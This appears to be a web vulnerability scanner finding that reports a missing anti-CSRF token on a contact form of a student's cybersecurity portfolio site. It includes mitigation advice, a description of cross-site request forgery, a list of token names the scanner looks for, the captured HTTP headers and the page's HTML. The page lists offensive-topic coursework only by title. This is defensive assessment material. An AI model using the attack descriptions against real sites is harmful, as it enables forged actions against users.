src="https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.js"></script> </body> </html>Evidence <form id="contactForm" name="sentMessage" novalidate="novalidate">Solution Phase: Architecture and Design
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
For example, use anti-CSRF packages such as the OWASP CSRFGuard.
Phase: Implementation
Ensure that your application is free of cross-site scripting issues, because most CSRF defenses can be bypassed using attacker-controlled script.
Phase: Architecture and Design
Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330).
Note that this can be bypassed using XSS.
Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
Note that this can be bypassed using XSS.
Use the ESAPI Session Management control.
This control includes a component for CSRF.
Do not use the GET method for any request that triggers a state change.
Phase: Implementation
Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
GET https://beekmans.dev/
Alert tags Alert description No Anti-CSRF tokens were found in a HTML submission form.
A cross-site request forgery is an attack that involves forcing a victim to send an HTTP request to a target destination without their knowledge or intent in order to perform an action as the victim. The underlying cause is application functionality using predictable URL/form actions in a repeatable way. The nature of the attack is that CSRF exploits the trust that a web site has for a user. By contrast, cross-site scripting (XSS) exploits the trust that a user has for a web site. Like XSS, CSRF attacks are not necessarily cross-site, but they can be. Cross-site request forgery is also known as CSRF, XSRF, one-click attack, session riding, confused deputy, and sea surf.
CSRF attacks are effective in a number of situations, including:
* The victim has an active session on the target site.
* The victim is authenticated via HTTP auth on the target site.
* The victim is on the same local network as the target site.
CSRF has primarily been used to perform an action against a target site using the victim's privileges, but recent techniques have been discovered to disclose information by gaining access to the response. The risk of information disclosure is dramatically increased when the target site is vulnerable to XSS, because XSS can be used as a platform for CSRF, allowing the attack to operate within the bounds of the same-origin policy.
Other info No known Anti-CSRF token [anticsrf, CSRFToken, __RequestVerificationToken, csrfmiddlewaretoken, authenticity_token, OWASP_CSRFTOKEN, anoncsrf, csrf_token, _csrf, _csrfSecret, __csrf_magic, CSRF, _token, _csrf_token] was found in the following HTML form: [Form 1: "email" "name" "phone" ].
Request Request line and header section (224 bytes)
GET https://beekmans.dev/ HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cache Referer: https://beekmans.devRequest body (0 bytes)
Response Status line and header section (1039 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:55:13 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive vary: Accept-Encoding content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=O9CfHQgObVNEaGCeR54qKKwytECMmlM5H0bXWDqJpVGo4vNUT18M2ld9NoeIDxTsPe1bzHv%2F9eh3xB7p6KNQNXYdikH5v2vQoVZ4Lqr2%2BgmRM8bXQ1W95L9VnzmijHE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a326098f0c09-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (178339 bytes)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>Cyber portfolio</title> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css"> <link href='https://fonts.googleapis.com/css?family=Kaushan+Script' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Droid+Serif:400,700,400italic,700italic' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Roboto+Slab:400,100,300,700' rel='stylesheet' type='text/css'> <link href="css/agency.min.css" rel="stylesheet"> </head> <body id="page-top"> <nav class="navbar navbar-expand-lg navbar-dark fixed-top" id="mainNav"> <div class="container"> <a class="navbar-brand js-scroll-trigger" href="#page-top">Cyber security</a> <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation"> Menu <i class="fas fa-bars"></i> </button> <div class="collapse navbar-collapse" id="navbarResponsive"> <ul class="navbar-nav text-uppercase ml-auto"> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#services">Services</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#portfolio">Portfolio</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#about">About</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#team">Team</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#contact">Contact</a> </li> </ul> </div> </div> </nav> <header class="masthead"> <div class="container"> <div class="intro-text"> <div class="intro-lead-in">Welcome To My Portfolio!</div> <div class="intro-heading text-uppercase">It's Nice To Meet You</div> <a class="btn btn-primary btn-xl text-uppercase js-scroll-trigger" href="#services">Tell Me More</a> </div> </div> </header> <section id="services"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Introduction</h2> <h3 class="section-subheading text-muted">My project.</h3> </div> </div> <div class="row text-center"> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-shopping-cart fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Environment</h4> <p class="text-muted">I'm using my own Hyper visor (Microsoft's Hyper-V) on a private server in my home. I can connect via a VPN that's also running on this server to my home network to remotely manage the server and manage and deploy VM's. The server is an old DELL T310 with a Xeon x3440, 24GB ddr3 registered ecc 1333mhz memory and all VM's are installed on a Crucial MX500 ssd. The server is part of the home network just like every other computer in my home.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-laptop fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Context</h4> <p class="text-muted">The network I'm building has as focus a webhosting company with some onsite employee's maybe a place for guests and some webservers hosting different websites.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-lock fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Security</h4> <p class="text-muted">The network is secured by separating the webservers from the employees and guests on their own VLAN. The network is protected by a pfsense router running custom firewalls for every interface and running Surricata to identify and block possible threats.</p> </div> </div> </div> </section> <section class="bg-light" id="portfolio"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Portfolio</h2> <h3 class="section-subheading text-muted">Cyber security.</h3> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Blue teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal1"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/01-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Self assessment week 1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal2"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid portfolio-image" src="img/portfolio/blue/02-thumbnail.gif" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal3"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/03-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V2</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal4"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/04-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Secure connections</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal5"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/05-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IDS/IPS</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal6"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/06-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Information Security and Risk Analysis</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal7"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/07-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IT Monitoring</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Red teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal8"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/08-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">SQL injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal9"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/09-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Command injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal10"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/10-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site scripting</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal11"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/11-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site request forgery</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal12"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/12-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Path traversal</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal13"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/13-thumbnail.jpeg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Password cracking</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal14"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/14-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network scanning and enumeration</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal15"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/15-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network sniffing and spoofing</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal16"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/16-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Law, Ethics and Responsible Disclosure</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal17"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/17-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Basic hacking process</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal18"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/18-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Self reflection</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Internship</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal19"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/internship/19-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S5</h4> <p class="text-muted">My internship</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Minor</h4> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Red teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal20"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/20-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pentesting methods</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal21"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Linux write-up</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal22"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Windows write-up</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal23"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/23-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal24"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis session</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal25"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/25-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Personal pen-test toolbox</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal26"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/26-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security of IOT protocols and technology</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal27"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/27-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pen-test at COMPANY_NAME_HERE</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal28"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a smartphone app</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal29"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a website</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal30"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a device</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal31"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Organize a weekly Hack The Box event</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Blue teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal32"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/32-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal33"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">IDS technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal34"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/34-thumbnail.svg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Monitoring technologies</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal35"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/35-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">SIEM technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal36"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/36-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Threat use cases</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal37"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Developing and tuning an IDS</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal38"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/38-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Setting up a SOC</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal39"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/39-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability scanning</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal40"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/40-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security monitoring, analysis and triage</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Forensics specialisation</h5> </div> </div> </div> </section> <section id="about"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About</h2> <h3 class="section-subheading text-muted">My cyber security career.</h3> </div> </div> <div class="row"> <div class="col-lg-12"> <ul class="timeline"> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/1.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S3 2019</h4> <h4 class="subheading">The beginning</h4> </div> <div class="timeline-body"> <p class="text-muted">This was the first time I got experienced the cyber security stream and what it had to offer. I learned the basics of the defensive side of cyber security.</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/2.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S4 2020</h4> <h4 class="subheading">Round 2</h4> </div> <div class="timeline-body"> <p class="text-muted">This was my second semester on cyber security this time focusing on the offensive side.</p> </div> </div> </li> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/3.png" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S5 2021</h4> <h4 class="subheading">The internship</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/4.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S7 2021</h4> <h4 class="subheading">My minor</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <h4>The <br>Future </h4> </div> </li> </ul> </div> </div> </div> </section> <section class="bg-light" id="team"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About me</h2> <h3 class="section-subheading text-muted">Some additional links and information.</h3> </div> </div> <div class="row"> <div class="col-sm-4"> </div> <div class="col-sm-4"> <div class="team-member"> <img class="mx-auto rounded-circle" src="img/team/Pim.jpg" alt=""> <h4>Pim Beekmans</h4> <p class="text-muted">Student</p> <ul class="list-inline social-buttons"> <li class="list-inline-item"> <a href="#"> <i class="fab fa-twitter"></i> </a> </li> <li class="list-inline-item"> <a href="#"> <i class="fab fa-facebook-f"></i> </a> </li> <li class="list-inline-item"> <a href="https://www.linkedin.com/in/pim-beekmans/?originalSubdomain=nl"> <i class="fab fa-linkedin-in"></i> </a> </li> </ul> </div> </div> <div class="col-sm-4"> </div> <div class="row"> <div class="col-lg-8 mx-auto text-center"> <p class="large text-muted">This is me, thank you for reading, hopefully you've liked my portfolio on cyber security. For additional feedback feel free to send an email to <a href="/cdn-cgi/l/email-protection#09796064496b6c6c626468677a276d6c7f"><span class="__cf_email__" data-cfemail="e191888ca18384848a8c808f92cf858497">[email protected]</span></a>.</p> </div> </div> </div> </div> </section> <section class="py-5"> <div class="container"> <div class="row"> </div> </div> </section> <section id="contact"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Contact Me</h2> <br> </div> </div> <div class="row"> <div class="col-lg-12"> <form id="contactForm" name="sentMessage" novalidate="novalidate"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <input class="form-control" id="name" type="text" placeholder="Your Name *" required="required" data-validation-required-message="Please enter your name."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="email" type="email" placeholder="Your Email *" required="required" data-validation-required-message="Please enter your email address."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="phone" type="tel" placeholder="Your Phone *" required="required" data-validation-required-message="Please enter your phone number."> <p class="help-block text-danger"></p> </div> </div> <div class="col-md-6"> <div class="form-group"> <textarea class="form-control" id="message" placeholder="Your Message *" required="required" data-validation-required-message="Please enter a message."></textarea> <p class="help-block text-danger"></p> </div> </div> <div class="clearfix"></div> <div class="col-lg-12 text-center"> <div id="success"></div> <button id="sendMessageButton" class="btn btn-primary btn-xl text-uppercase" type="submit">Send Message</button> </div> </div> </form> </div> </div> </div> </section> <footer> <div class="container"> <div class="row"> <div class="col-md-4"> <span class="copyright">Copyright © Beekmans.dev 2019</span> </div> <div class="col-md-4"> </div> <div class="col-md-4"> <ul class="list-inline quicklinks"> <li class="list-inline-item"> <a href="#">Privacy Policy</a> </li> <li class="list-inline-item"> <a href="#">Terms of Use</a> 